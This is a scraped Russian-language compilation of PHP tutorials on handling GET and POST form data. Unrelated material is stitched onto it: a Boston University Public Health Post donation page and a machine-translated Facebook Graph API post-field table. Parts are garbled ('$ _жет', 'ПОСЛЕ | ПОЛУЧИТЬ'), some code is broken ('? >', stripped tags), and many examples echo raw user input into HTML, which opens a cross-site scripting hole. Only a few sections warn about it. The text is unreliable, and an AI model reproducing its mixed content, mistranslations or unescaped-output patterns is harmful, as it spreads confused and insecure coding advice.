Как работать с POST-запросами в PHP
Итак, в прошлом уроке мы вспоминали о том, как происходит работа пользователя с сайтом. Их общение происходит в форме запрос-ответ. Пользователь отправляет в запросе какие-то данные, а сервер возвращает какой-либо ответ, в зависимости от этих данных.
В предыдущем уроке мы научились работать с GET-запросами. Как мы помним, при этом способе данные передаются на сервер с помощью параметров в адресной строке. Такое бывает удобно, когда нам нужно поделиться ссылкой в которой эти параметры нужны. Например, у нас спрашивают, где в Москве купить шкаф. И мы скидываем человеку ссылку на поиск в Яндексе:
Он переходит по ней и прекрасно себя чувствует, потому что всё уже введено за него.
Однако, параметры в адресной строке – это не всегда уместно. Например, когда в параметрах содержится какая-то конфиденциальная информация: пароль, пин-код. И любой мимо проходящий человек может её увидеть. Как в такой ситуации быть? Использовать POST-запросы!
Что это такое? Да всё тот же запрос от клиента к серверу, только параметры передаются внутри тела запроса, а не в адресной строке. И увидеть их просто так не получится.
Что за тело запроса? Ну, это просто данные, которые передаются на сервер. При этом они скрыты от лишних глаз.
Чтобы отправить POST-запрос нужно в HTML-форме задать для атрибута method значение POST.
Вот так:
<html>
<head>
<title>Форма входа</title>
</head>
<body>
<form action="/login.php" method="post">
<label>
Логин <input type="text" name="login">
</label>
<br>
<label>
Пароль <input type="password" name="password">
</label>
<br>
<input type="submit" value="Войти">
</form>
</body>
</html>
Данные, отправленные с помощью POST-запроса доступны в PHP в суперглобальном массиве
Давайте выведем переданные скриптом выше значения login и password. Для этого в файл login.php положим следующий код:
<?php $login = !empty($_POST['login']) ? $_POST['login'] : ''; $password = !empty($_POST['password']) ? $_POST['password'] : ''; ?> <html> <head> <title>Обработка POST-запроса</title> </head> <body> <p> Переданный login: <?= $login ?> <br> Переданный password: <?= $password ?> </p> </body> </html>
Откройте теперь форму, введите в неё значения и нажмите кнопку «Войти».
Вы увидите введенные вами в форме данные, при этом они будут отсутствовать в адресной строке. Вуаля! Теперь никто не подсмотрит ваш пароль в адресной строке.
Как увидеть тело POST-запроса
Чтобы увидеть данные POST-запроса в браузере, в Google Chrome нужно перейти в режим разработчика. Нажмите клавишу F12, находясь в окне браузера. После этого вы увидите панель разработчика.
Перейдите во вкладку Network, а затем установите галочку напротив пункта Preserve log.
Теперь вернитесь на форму, и снова введите данные, после чего нажмите на кнопку «Войти».
Одновременно с тем, как вы нажмете на кнопку входа, вы увидите в панели разработчика запрос на login.php.
Нажмите на него, и справа откроются детали запроса. По умолчанию открывается исходный код ответа. Здесь можно увидеть то, что было сгенерировано с помощью PHP и отправлено веб-сервером в браузер.
Нас здесь интересует вкладка Headers. Перейдите в неё, и прокрутите содержимое в самый низ. Здесь вы увидите те данные, что браузер отправил на сервер.
Заключение
Вот так и работают POST-запросы под капотом. Используют их всегда, когда не нужно отображать детали запроса в адресной строке. Хорошие примеры: форма авторизации, ввод данных о кредитной карте. Такими данными лучше в адресной строке не светить.
А сейчас — немного нестандартное домашнее задание =)
Если этот урок был вам полезен, расскажите об этом курсе своим знакомым или поделитесь на него ссылкой в социальных сетях.
Получаем данные от элементов формы с помощью PHP
Первое, что нам нужно — это создать форму:
<form action="app/check.php" method="post"> <p>Имя: <input name="name" type="text"></p> <p>Фамилия: <input name="surname" type="text"></p> <p>E-mail: <input name="email" type="text"></p> <p>Сообщение: <br /><textarea name="message" cols="30" rows="5"></textarea></p> <p><input type='submit' value='Отправить'></p> </form>
Обратите внимание на строку action=»app/check. php» — это адрес обработчика формы, сюда будут отправляться данные формы, после нажатия кнопки Отправить. Также, на параметр name у полей формы, мы будем использовать эти имена при написании кода. Передавать данные будем методом — POST.
1. Давайте начнем. Создайте и откройте (через редактор) обработчик app/code.php — сначала, это просто пустая страница. Далее откройте тег PHP — <?php.
2. Нам нужно проверить, была ли отправлена форма, для этого мы будем использовать глобальную переменную $_SERVER
и проверять REQUEST_METHOD
<?php
if($_SERVER['REQUEST_METHOD'] == 'POST') {
// наш код
}
?>
3. Дальше, если форма отправлена, мы можем получить данные от поля «Имя», для этого, какой-нибуть переменной присваиваем полученное значение от этого поля, например:
<?php
$name = $_POST['name'];
?>
$_POST
— переменная, в которой сохраняются данные, если форма была отправлена методом POST.
$_POST['name']
— получаем данные от поля name.
4. Тоже самое делаем и для остальных наших полей:
<?php
$name = $_POST['name'];
$surname = $_POST['surname'];
$email = $_POST['email'];
$message = $_POST['message'];
?>
<?php
$name = $_POST['name'];
$surname = $_POST['surname'];
$email = $_POST['email'];
$message = $_POST['message'];
echo $name."<br />".$surname."<br />".$email."<br />".$message."<br />";
?>
Не рекомендуется просто так, без проверки, выводить введенные пользователем данные.
Пропускайте переменные хотя бы через функцию htmlspecialchars.
Вот так, можно получать данные введенные в элементы формы.
Посмотреть исходники
PHP Обработка форм
Для сбора данных формы используются PHP-глобальные $ _жет и $ _пост.
PHP-Простая HTML-форма
В приведенном ниже примере показана простая HTML-форма с двумя полями ввода и кнопкой Submit:
Пример
<form action=»welcome.php» method=»post»>
Name: <input type=»text» name=»name»><br>
E-mail: <input type=»text» name=»email»><br>
<input type=»submit»>
</form>
</body>
</html>
Когда пользователь заполняет форму выше и нажимает кнопку Submit, данные формы отправляются для обработки в файл PHP с именем «Welcome. php». Данные формы передаются с помощью метода HTTP POST.
Для отображения отправленных данных можно просто повторить все переменные. «Welcome. php» выглядит следующим:
Welcome <?php echo $_POST[«name»]; ?><br>
Your email address is: <?php echo $_POST[«email»]; ?>
</body>
</html>
Выход может быть что-то вроде этого:
Такой же результат может быть достигнут с помощью метода HTTP GET:
Пример
<form action=»welcome_get. php» method=»get»>
Name: <input type=»text» name=»name»><br>
E-mail: <input type=»text» name=»email»><br>
<input type=»submit»>
</form>
</body>
</html>
и «welcome_get.php» выглядит так:
Welcome <?php echo $_GET[«name»]; ?><br>
Your email address is: <?php echo $_GET[«email»]; ?>
</body>
</html>
Приведенный выше код довольно прост. Однако, самое главное не хватает. Необходимо проверить данные формы для защиты сценария от вредоносного кода.
Подумайте безопасности при обработке PHP форм!
Эта страница не содержит никакой проверки формы, она просто показывает, как можно отправлять и извлекать данные формы.
Однако на следующих страницах будет показано, как обрабатывать PHP-формы с учетом безопасности! Правильная проверка данных формы важна для защиты вашей формы от хакеров и спамеров!
Получить VS.
PostОба Get и POST создать массив (например, Array (ключ = > значение, Key2 = > value2, Key3 = > валуе3,…)). Этот массив содержит пары «ключ-значение», где ключи — это имена элементов управления формы, а значения — входные данные пользователя.
Как Get, так и POST рассматриваются как $ _жет и $ _пост. Это глобальные, что означает, что они всегда доступны, независимо от области видимости-и вы можете получить к ним доступ из любой функции, класс или файл без необходимости делать ничего особенного.
$ _жет-это массив переменных, передаваемых текущему сценарию через параметры URL.
$ _пост-это массив переменных, передаваемых текущему сценарию с помощью метода HTTP POST.
Когда использовать Get?
Информация, отправляемая из формы с методом GET, видна всем (все имена переменных и значения отображаются в URL-адресе). Get также имеет ограничения на объем отправляемой информации. Ограничение составляет около 2000 символов. Однако, поскольку переменные отображаются в URL-адресе, можно закладка страницы. Это может быть полезно в некоторых случаях.
Get может использоваться для отправки не конфиденциальных данных.
Примечание: Get никогда не должны использоваться для отправки паролей или другой конфиденциальной информации!
Когда использовать POST?
Информация, отправляемая из формы с методом POST, невидима для других (все имена и значения внедряются в тело HTTP-запроса) и не имеет ограничений на объем отправляемой информации.
Кроме того, POST поддерживает расширенные функциональные возможности, такие как поддержка многокомпонентного двоичного ввода при загрузке файлов на сервер.
Однако, поскольку переменные не отображаются в URL-адресе, невозможно закладка страницы.
Разработчики предпочитают публикацию для отправки данных формы.
Далее, давайте посмотрим, как мы можем обрабатывать PHP формирует безопасный способ!
Метод POST и GET в PHP / DKRYLOV.
COM Для передачи данных в языке программирования PHP используют специальные методы — GET и POST.Метод GET
Метод GET — передает необходимые данные в явном виде, в URL адресе. Чтобы было понятно, это выглядит как то так:
В GET запросе, в приведенном примере сверху, передаются 2 параметра — id со значением 1 и lang со значением php. В PHP скрипте эти параметры можно получить следующим образом:
<? $id = $_GET['id']; // Значение параметра id $lang = $_GET['lang']; // Значение параметра lang ?>
Метод POST
Метод POST — используется для передачи данных в http-заголовках Вашего сайта. Для пользователя будет не видны эти данные во время передачи, в отличии от GET запроса.
С POST запросом Вы уже встречались в уроке Формы для отправки данных. Тэг <form>
POST запрос в HTML верстке выглядит так:
<form action="script.php" enctype="multipart/form-data" method="POST"> <input type="text" name="id"> <input type="text" name="lang"> <input type="submit"> </form>
Значения из данной формы передаются с помощью кнопки input с типом submit.
Получить данные POST запроса в PHP скрипте, можно так:
<? $id = $_POST['id']; // Значение параметра id $lang = $_POST['lang']; // Значение параметра lang ?>
Напомню, в параметре action указывается адрес скрипта, к которому будет идти POST запрос. В параметре enctype указывается тип передаваемых данных, в данном случае значение «multipart/form-data» означает любой тип данных (включая файлы, текст и т. д.).
При передаче с помощью POST и GET запросов очень важно не забывать про установку правильной кодировки в файлах, связанных с этими запросами.
10) обработка PHP-форм — CoderLessons.com
Что такое форма?
Когда вы входите на веб-сайт или в свой почтовый ящик, вы взаимодействуете с формой.
Формы используются для получения ввода от пользователя и передачи его на веб-сервер для обработки.
Диаграмма ниже иллюстрирует процесс обработки формы.
Форма — это тег HTML, который содержит элементы графического интерфейса пользователя, такие как поле ввода, переключатели переключателей и т. Д.
Форма определяется с помощью тегов <form> … </ form>, а элементы графического интерфейса определяются с использованием таких элементов формы, как ввод.
В этом уроке вы узнаете
Когда и почему мы используем формы?
- Формы пригодятся при разработке гибких и динамических приложений, которые принимают пользовательский ввод.
- Формы могут быть использованы для редактирования уже существующих данных из базы данных
Создать форму
Мы будем использовать HTML-теги для создания формы. Ниже приведен минимальный список вещей, необходимых для создания формы.
- Открытие и закрытие тегов формы <form>… </ form>
- Форма отправки формы POST или GET
- URL отправки, который будет обрабатывать отправленные данные
- Поля ввода, такие как поля ввода, текстовые области, кнопки, флажки и т. Д.
Код ниже создает простую форму регистрации
<html> <head> <title>Registration Form</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <h3>Registration Form</h3> <form action="registration_form.php" method="POST"> First name: <input type="text" name="firstname"> <br> Last name: <input type="text" name="lastname"> <input type="hidden" name="form_submitted" value="1" /> <input type="submit" value="Submit"> </form> </body> </html>
При просмотре вышеуказанного кода в веб-браузере отображается следующая форма.
ВОТ,
- <form…>… </ form> являются открывающими и закрывающими тегами формы
- action = «registration_form.php» method = «POST»> указывает целевой URL и тип отправки.
- Имя / Фамилия: метки для полей ввода
- <input type = ”text”…> являются тегами поля ввода
- <br> это новая строка тега
- <input type = «hidden» name = «form_submitted» value = «1» /> — это скрытое значение, которое используется для проверки, была ли отправлена форма или нет
- <input type = «submit» value = «Submit»> — кнопка, которая при нажатии отправляет форму на сервер для обработки
Отправка данных формы на сервер
Атрибут action формы указывает URL отправки, который обрабатывает данные. Атрибут метода указывает тип отправки.
PHP POST метод
- Это встроенная в PHP суперглобальная переменная массива, которая используется для получения значений, отправленных методом HTTP POST.
- Доступ к переменной массива возможен из любого скрипта в программе; это имеет глобальную сферу.
- Этот метод идеален, если вы не хотите отображать значения записей формы в URL.
- Хорошим примером использования метода post является отправка данных для входа на сервер.
Он имеет следующий синтаксис.
<?php $_POST['variable_name']; ?>
ВОТ,
- «$ _POST […]» — это массив PHP
- «Variable_name» — это имя переменной URL.
PHP GET метод
- Это встроенная в PHP суперглобальная переменная массива, которая используется для получения значений, отправленных методом HTTP GET.
- Доступ к переменной массива возможен из любого скрипта в программе; это имеет глобальную сферу.
- Этот метод отображает значения формы в URL.
- Он идеально подходит для форм поисковых систем, так как позволяет пользователям отмечать результаты.
Он имеет следующий синтаксис.
<?php $_GET['variable_name']; ?>
ВОТ,
- «$ _GET […]» — это массив PHP
- «Variable_name» — это имя переменной URL.
GET vs POST Методы
ПОСЛЕ | ПОЛУЧИТЬ |
---|---|
Значения не видны в URL | Значения, видимые в URL |
Не имеет ограничения длины значений, так как они отправляются через тело HTTP | Имеет ограничение по длине значений обычно 255 символов. Это потому, что значения отображаются в URL. Обратите внимание, что верхний предел символов зависит от браузера. |
Имеет более низкую производительность по сравнению с методом Php_GET из-за затрат времени на инкапсуляцию значений Php_POST в теле HTTP | Имеет высокую производительность по сравнению с методом POST благодаря простому характеру добавления значений в URL. |
Поддерживает множество различных типов данных, таких как строковые, числовые, двоичные и т. Д. | Поддерживает только строковые типы данных, потому что значения отображаются в URL |
Результаты не могут быть отмечены | Результаты могут быть отмечены как книги из-за видимости значений в URL |
На диаграмме ниже показана разница между get и post
Обработка данных регистрационной формы
Форма регистрации передает данные себе, как указано в атрибуте действия формы.
Когда форма отправлена, значения заполняются в суперглобальном массиве $ _POST.
Мы будем использовать функцию isset PHP, чтобы проверить, были ли заполнены значения формы в массиве $ _POST, и обработать данные.
Мы изменим форму регистрации, включив в нее код PHP, который обрабатывает данные. Ниже приведен модифицированный код
<html> <head> <title>Registration Form</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <?php if (isset($_POST['form_submitted'])): ?> //this code is executed when the form is submitted <h3>Thank You <?php echo $_POST['firstname']; ?> </h3> <p>You have been registered as <?php echo $_POST['firstname'] . ' ' . $_POST['lastname']; ?> </p> <p>Go <a href="/registration_form.php">back</a> to the form</p> <?php else: ?> <h3>Registration Form</h3> <form action="registration_form.php" method="POST"> First name: <input type="text" name="firstname"> <br> Last name: <input type="text" name="lastname"> <input type="hidden" name="form_submitted" value="1" /> <input type="submit" value="Submit"> </form> <?php endif; ? > </body> </html>
ВОТ,
Больше примеров
Простой поисковик
Мы разработаем простую поисковую систему, которая использует метод PHP_GET в качестве типа отправки формы.
Для простоты мы будем использовать оператор PHP If для определения вывода.
Мы будем использовать тот же HTML-код для формы регистрации выше и вносим в нее минимальные изменения.
<html> <head> <title>Simple Search Engine</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <?php if (isset($_GET['form_submitted'])): ?> <h3>Search Results For <?php echo $_GET['search_term']; ?> </h3> <?php if ($_GET['search_term'] == "GET"): ?> <p>The GET method displays its values in the URL</p> <?php else: ?> <p>Sorry, no matches found for your search term</p> <?php endif; ?> <p>Go <a href="/search_engine.php">back</a> to the form</p> <?php else: ?> <h3>Simple Search Engine - Type in GET </h3> <form action="search_engine.php" method="GET"> Search Term: <input type="text" name="search_term"> <br> <input type="hidden" name="form_submitted" value="1" /> <input type="submit" value="Submit"> </form> <?php endif; ?> </body> </html>
Просмотрите вышеуказанную страницу в веб-браузере
Следующая форма будет показана
Введите GET в верхнем регистре и нажмите кнопку отправки.
Будет показано следующее
Диаграмма ниже показывает URL для вышеуказанных результатов
Обратите внимание, что в URL отображаются значения search_term и form_submitted. Попробуйте ввести что-то отличное от GET, затем нажмите кнопку «Отправить» и посмотрите, какие результаты вы получите.
Работа с флажками, переключателями
Если пользователь не выбирает флажок или переключатель, значение не передается, если пользователь выбирает флажок или переключатель, отправляется значение один (1) или значение true.
Мы изменим код регистрационной формы и добавим кнопку проверки, которая позволит пользователю согласиться с условиями обслуживания.
<html> <head> <title>Registration Form</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <?php if (isset($_POST['form_submitted'])): ?> <?php if (!isset($_POST['agree'])): ?> <p>You have not accepted our terms of service</p> <?php else: ?> <h3>Thank You <?php echo $_POST['firstname']; ?></h3> <p>You have been registered as <?php echo $_POST['firstname'] . ' ' . $_POST['lastname']; ?> </p> <p> Go <a href="/registration_form2.php">back</a> to the form</p> <?php endif; ?> <?php else: ?> <h3>Registration Form</h3> <form action="registration_form2.php" method="POST"> First name: <input type="text" name="firstname"> <br> Last name: <input type="text" name="lastname"> <br> Agree to Terms of Service: <input type="checkbox" name="agree"> <br> <input type="hidden" name="form_submitted" value="1" /> <input type="submit" value="Submit"> </form> <?php endif; ?> </body> </html>
Просмотреть вышеуказанную форму в браузере
Введите имя и фамилию
Обратите внимание, что флажок Согласиться с условиями обслуживания не установлен.
Нажмите на кнопку отправить
Вы получите следующие результаты
Нажмите обратно на ссылку формы и затем установите флажок
Нажмите на кнопку отправить
Вы получите следующие результаты
Резюме
- Формы используются для получения данных от пользователей
- Формы создаются с использованием тегов HTML
- Формы могут быть отправлены на сервер для обработки, используя метод POST или GET
- Значения формы, отправленные с помощью метода POST, инкапсулированы в теле HTTP.
- Значения форм, отправленные с помощью метода GET, добавляются и отображаются в URL.
Передача переменных в PHP. Методы GET и POST
Итак, мы снова продолжаем изучение основ PHP и в этой статье познакомимся со способами передачи переменных в PHP, а именно с методами GET и POST. Каждый из них имеет свои плюсы и минусы, и применяется в соответствующих ситуациях, речь о которых пойдет в данной статье. Мы также рассмотрим примеры кода, которые демонстрируют работу методов POST и GET.
Передача переменных при помощи метода GET
Данный метод передачи переменных применяется в PHP для передачи переменных в файл при помощи адресной строки. То есть переменные передаются сразу через адресную строку браузера. Примером может быть, например, ссылка на статью в WordPress без использования ЧПУ (SEF), которая имеет примерно следующий вид:
https://archive.dmitriydenisov.com/?p=315
То есть в данном случае передается переменная $p со значением 315. Теперь давайте более подробно на примере рассмотрим работу метод GET. Пускай нам нужно передать в файл три переменных $a, $b и $c методом GET и вывести их сумму на экран. Для этого можно использовать следующий код.
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
$summa = $a + $b + $c;
echo "Сумма $a + $b + $c = $summa";
Поскольку все переменные перед передачей будут помещаться в глобальный массив GET (Массивы в PHP), то мы первым делом присваиваем нашим переменным значения соответствующих элементов массива GET. Делаем это в самом начале во избежание разнообразных ошибок при передаче переменных. Далее для демонстрации работы прописываем произвольную формулу и выводим результат на экран.
Для проверки работы метода GET достаточно просто добавить к ссылке на файл знак вопроса «?» и через амперсанд «&» перечислить переменные с их значениями. Пускай у нас есть файл get.php, который лежит в корне сайта https://archive.dmitriydenisov.com. Для того чтобы передать в файл переменные, достаточно прописать в адресной строке следующее.
https://archive.dmitriydenisov.com/get.php?a=1&b=2&c=3
Как видно с примера, сначала мы добавляем знак вопроса сразу после названия файла. Далее прописываем переменную и через равно указываем ее значение. После этого через амперсанд аналогичным образом перечисляем другие переменные. Теперь при переходе по этой ссылке нам выведется сумма переменных $a, $b и $c.
Данный способ очень простой и не требует создания дополнительных файлов. Все необходимые данные поступают прямо через адресную строку браузера.
Ну а теперь давайте перейдем ко второму способу передачи переменных в PHP – методу POST.
Передача переменных в PHP при помощи метода POST
Данный способ позволяет скрыто передавать переменные с одного файла в другой. Как вы уже поняли, обычно для этих целей используются два файла. В первом находится форма для ввода исходных данных, а во втором исполнительный файл, который принимает переменные. Для демонстрации давайте рассмотрим следующий код.
Код первого файла с формой для отправки данных. Дадим ему название post-1.php
<!--Форма -->
<form action="post-2.php" method="post" name="form1" target="_blank">
<!--Текстовые поля -->
<p><input name="name" type="text" size="20"></p>
<p><input name="lastname" type="text" size="20"></p>
<!--Кнопка -->
<p><input name="submit" type="submit" value="Передать"></p>
</form>
Форма:
- action – указываем файл, в который будут передаваться переменные.
- method – метод передачи переменных. В нашем случае это метод POST.
- name – название формы. Одновременно в файл будет передана переменная с таким именем.
Текстовые поля:
- name – имена переменных. В нашем случае это имя и фамилия (переменные name и lastname).
- type – тип поля. В нашем случае это текстовое поле.
Кнопка:
- name – имя кнопки и переменной, которая будет передана вместе с другими переменными.
- type – тип кнопки. В нашем случае это кнопка для отправки данных.
- value – текст на кнопке.
Код второго файла, который будет служить приемником переменных. Назовем его post-2.php
$name = $_POST[name];
$lastname = $_POST[lastname];
echo "Значения переменных, переданных методом POST - $name и $lastname";
Как и с методом GET, мы первым делом присваиваем переменным значения соответствующих элементов глобального массива POST. Далее для наглядности выводим эти переменные на экран при помощи оператора вывода echo.
Теперь при загрузке первого файла у нас загрузится форма. После введения данных жмем по кнопке «Отправить», в результате чего в новой вкладке у нас откроется страница со вторым файлом, на которой выведутся значения, прописанные в форме на предыдущей странице. То есть второму файлу будут переданы значения переменных с первого файла.
На этом данная статья про передачу переменных в PHP подошла к концу. Если вы не хотите пропустить появления других статей на блоге, рекомендую подписаться на новостную рассылку любым удобным способом в пункте «Подписка» либо воспользоваться формой ниже.
На этом все. Удачи вам и успеха в освоении основ PHP.
Обнаружили ошибку? Выделите ее и нажмите Ctrl+Enter
Как получить доступ к отправленным данным формы в PHP
В этом руководстве вы узнаете, как собирать вводимые пользователем данные, отправленные через форму, с использованием суперглобальных переменных PHP $ _GET
, $ _POST
и $ _REQUEST
.
Создание простой контактной формы
В этом руководстве мы собираемся создать простую контактную форму HMTL, которая позволяет пользователям вводить свои комментарии и отзывы, а затем отображать их в браузере с помощью PHP.
Откройте ваш любимый редактор кода и создайте новый файл PHP. Теперь введите следующий код и сохраните этот файл как «contact-form.php» в корневом каталоге вашего проекта.
Контактная форма
Свяжитесь с нами
Заполните эту форму и отправьте нам.
Расшифровка кода
Обратите внимание, что в открывающем теге есть два атрибута:
- Атрибут
action
ссылается на PHP-файл «process-form.php «, который получает данные, введенные в форму, когда пользователь отправляет их, нажав кнопку отправки. - Атрибут
method
указывает браузеру отправлять данные формы через метод POST.
Остальные элементы внутри формы являются основными элементами управления формы для получения пользовательского ввода. Чтобы узнать больше об элементах HTML-форм, ознакомьтесь с руководством по HTML-формам.
Захват данных формы с помощью PHP
Чтобы получить доступ к значению определенного поля формы, вы можете использовать следующие суперглобальные переменные.Эти переменные доступны во всех областях сценария.
Суперглобал | Описание |
---|---|
$ _GET | Содержит список всех имен полей и значений, отправленных формой с использованием метода get (то есть через параметры URL). |
$ _POST | Содержит список всех имен полей и значений, отправленных формой с использованием метода post (данные не будут отображаться в URL-адресе). |
$ _ЗАПРОС | Содержит значения переменных $ _GET и $ _POST , а также значения суперглобальной переменной $ _COOKIE . |
Когда пользователь отправляет указанную выше контактную форму, нажимая кнопку отправки, данные формы отправляются в файл «process-form.php» на сервере для обработки.Он просто фиксирует информацию, отправленную пользователем, и отображает ее в браузере.
PHP-код файла «process-form.php» будет выглядеть примерно так:
Контактная форма
Спасибо
Вот предоставленная вами информация:
- Имя: php echo $ _POST ["name"]?>
- Электронная почта: php echo $ _POST ["email"]?>
- Тема: php echo $ _POST ["subject"]?>
- Сообщение: php echo $ _POST ["message"]?>
Приведенный выше PHP-код довольно прост.Поскольку данные формы отправляются с помощью метода post, вы можете получить значение определенного поля формы, передав его имя в суперглобальный массив $ _POST
, и отобразить значение каждого поля с помощью оператора echo ()
.
В реальном мире нельзя доверять пользовательскому вводу; вы должны реализовать какую-то проверку, чтобы фильтровать вводимые пользователем данные перед их использованием. В следующей главе вы узнаете, как очистить и проверить данные этой контактной формы и отправить их по электронной почте с помощью PHP.
Пост общественного здравоохранения | SPH
Обмен знаниями с практиками и общественностью
PHP помогает вести общенациональный разговор
Потребовалась пандемия, чтобы мир осознал, что проблемам общественного здравоохранения не уделяется должного внимания. Пять лет назад мы были впереди всех, когда запустили первый ежедневный цифровой журнал, посвященный условиям, которые влияют на здоровье американцев.The Public Health Post (publichealthpost.org) доводит до сведения читателей идеи и данные об общественном здравоохранении.
On the Post, или PHP, мы приглашаем важных мыслителей в области здравоохранения — политиков, журналистов, ученых и практиков — поделиться своей работой. PHP помогает этим экспертам влиять на политику в местном, национальном и глобальном масштабе, одновременно обучая общественность с передовой.
Наши редакторы, работая со студентами-стипендиатами PHP, используют несколько форматов — визуализацию данных статистики здоровья, традиционную журналистику с полными формами, интервью и дебаты, резюме исследований, видео, тщательно подобранный контент и многое другое — чтобы рассказывать убедительные истории о здоровье населения.Мы решаем самые разные проблемы: от расизма и отсутствия возможностей до законов об оружии, от приоритета мужчин при проверке безопасности транспортных средств до убийства матерей, от цены тюрьмы до контрацепции. Нас читают во всех 50 штатах и 150 странах. Каждый год восемь миллионов пользователей социальных сетей взаимодействуют с нашим контентом.
Вместе мы помогаем стимулировать и преобразовывать национальный диалог по проблемам общественного здравоохранения.
«Наша цель — поделиться с читателями широким кругом тем в области общественного здравоохранения, которые касаются условий, в которых мы живем, проблем различных групп населения по всей стране, а также диапазона социальных, культурных и экономических условий, которые делают нас здоровыми. или нездоровой », — говорит Майкл Штайн, исполнительный редактор PHP и председатель Департамента законодательства, политики и менеджмента в сфере здравоохранения SPH.«Ни один другой сайт СМИ не находит и не публикует те статьи, которые мы делаем».
Ваши дары могут способствовать продвижению миссии Public Health Post во многих отношениях, например, путем спонсирования стипендий для обучения следующего поколения ученых и журналистов в области общественного здравоохранения.
- 2,5 миллиона долларов на должность профессора в области коммуникации в области общественного здравоохранения
- 250 000 долл. США на поддержку деятельности поста общественного здравоохранения в течение одного года
- 100 000 долларов спонсируют курс из шести стипендиатов PHP
- 50 000 долл. США для финансирования одной группы из трех стипендиатов и их поездки на крупные конференции по общественному здравоохранению
- 25000 долларов будут финансировать двух стипендиатов PHP на один учебный год
Отдам сейчас
СВЯЗАТЬСЯ С НАМИ
Чтобы узнать, какие варианты наилучшим образом соответствуют вашим интересам, обратитесь к Якобе ван Хойтен, заместителю декана по развитию, по телефону 617-358-3321 или jjvh @ bu.edu.
токен со структурой: Post ID | |
list | |
admin admin BusinessUser | Пользователь | Приложение | Администратор, создатель публикации на странице. Доступно только в том случае, если для страницы существует более одного администратора. |
list | Единственные цели, при которых можно рекламировать этот пост |
| Информация о приложении, в котором был опубликован этот пост. |
datetime | Время задним числом для публикации задним числом.Для обычной публикации это поле будет пустым. |
Структура с ключами: тип, значение | Тип призыва к действию, используемый в любых публикациях на странице для рекламы взаимодействия с мобильным приложением. |
bool | Может ли зритель страницы отправлять личный ответ на это сообщение |
строка | Заголовок ссылки в сообщении (отображается под именем). |
список | Поддоли поста с несколькими ссылками |
строка | Если комментарии зеркалируются на внешний сайт, эта функция возвращает домен этого внешнего сайта. |
структура с ключами: checkin_id, author_uid, page_id, target_id, target_href, coords, tagged_uids, timestamp, message, target_type | Массив информации о прикреплении к сообщению |
datetime | Время публикации сообщения, выраженное как временная метка UNIX |
строка | Описание ссылки в сообщении (отображается под заголовком). |
Если у этого поста есть место, событие, связанное с этим местом | |
unsigned int32 | Массив информации о прикреплении к сообщению |
unsigned int32 | Массив информации о прикреплении к сообщению |
структура с ключами: страна, города, регионы, гендеры, age_min, age_max, education_statuses, College_years, Relations_statuss, интересов, заинтересованных_in, user_adclusters, locales, countries, geo_locations, education_employers, work education_schools, family_statuses, life_events, industries, policy, этническая_афинность, поколение, fan_of, related_until_ts | Объект, который управляет таргетингом ленты новостей для этого сообщения.Любой в этих группах с большей вероятностью увидит это сообщение, другие с меньшей вероятностью, но все равно могут его увидеть. Можно использовать любое из представленных здесь полей таргетинга, ни одно не является обязательным (применимо только к страницам). |
Пользователь | Страница | Идентификатор пользователя, страницы, группы или события, опубликовавшего сообщение |
строка | Если наибольший размер фотографии превышает 720 пикселей, она изменяется, а наибольший размер устанавливается на 720. |
unsigned int32 | Массив информации о прикреплении к сообщению |
строка | Ссылка на значок, представляющий тип этого сообщения. |
bool | Независимо от того, ссылается ли публикация на приложение |
bool | Имеет ли публикация право на продвижение. |
bool | Указывает, истек ли срок действия сообщения |
bool | Установлено ли скрытие сообщения |
bool | Возвращает True, если сообщение было создано встроенным при создании объявлений. |
bool | Популярность публикации в настоящее время.В зависимости от того, превышает ли общее количество действий как процент охвата определенный порог |
bool | Является ли пост сферическим видеопостом |
uri | Ссылка прикреплена к этому сообщению. |
строка | Сообщение, написанное в сообщении |
list | Профили, упомянутые или отмеченные в сообщении. Это объект с уникальным ключом для каждого упоминания или тега в сообщении. |
bool | Показывать ли конечную карточку для публикации с несколькими ссылками |
bool | Будет ли автоматически выбираться порядок ссылок в многоканальном сообщении общего доступа при использовании в объявлении |
строка | |
строка | Идентификатор любой загруженной фотографии или видео, прикрепленного к сообщению. |
токен со структурой: Идентификатор сообщения | Идентификатор родительского сообщения для этого сообщения, если он существует. Например, если эта история представляет собой историю «Ваша страница была упомянута в сообщении», parent_id будет исходным сообщением, в котором произошло упоминание |
uri | Постоянный статический URL-адрес публикации на www.facebook.com.Пример: https://www.facebook.com/FacebookforDevelopers/posts/10153449196353553 |
| ID места, связанного с постом |
| Настройки конфиденциальности для сообщения |
токен со структурой: ID сообщения | ID сообщения, которое будет использоваться для продвижения историй, которые нельзя продвигать напрямую |
список | Список свойств для любого прикрепленного видео, например, длина видео. |
float | Временная метка UNIX запланированного времени публикации для сообщения |
Структура с ключами: count | Количество публикаций публикации |
строка | URL-адрес любого Flash-ролика или видеофайла, прикрепленного к сообщению. |
строка | Описание типа обновления статуса. |
строка | Текст историй, не созданных намеренно пользователями, например, созданных, когда два пользователя становятся друзьями. Чтобы получить это поле, в вашем приложении должна быть включена миграция «Включить последние истории активности» |
list | Список тегов в описании поста |
bool | Подписан ли пользователь на публикацию |
Профиль, в котором это было размещено, если он отличается от автора | |
структура с ключами: страна, города, регионы, почтовые индексы, гендерные группы, College_networks, work_networks, age_min, age_max, education_statuses, College_years, College_majors, polit_views, Relations_statuses_interest, ключевые слова, user_clusters user_clusters2, user_clusters3, user_adclusters, excluded_user_adclusters, custom_audiences, excluded_custom_audiences, locales, radius, connections, excluded_connections, friends_of_connections, countries, excluded_user_clusters, adgroup_id, user_event, qrt_versions, action_locded_specations, action_locded_spec_descriptions, user_excluded_device_device_device_discount_dec concunctive_user_adclusters, wireless_carrier, site_category, work_positions, work_employers, education_majors, education_schools, family_statuses, life_events, поведения, travel_status, отраслей, политики, рынков, дохода, net_worth, home_type, home_ownershi p, домашнее_значение, этническое_аффинити, поколение, домашний_компонент, мамы, офис_тип, интерес_кластеров_расширение, dynamic_audience_ids, product_audience_specs, excluded_product_audience_specs, exclusions, flexible_spec, Engagement_specs, excluded_engagement_specs | Объект контента, который ограничивает аудиториюНикто не из этих демографических групп не сможет просматривать этот контент. Это не отменяет каких-либо демографических ограничений на уровне страницы, которые могут иметь место. |
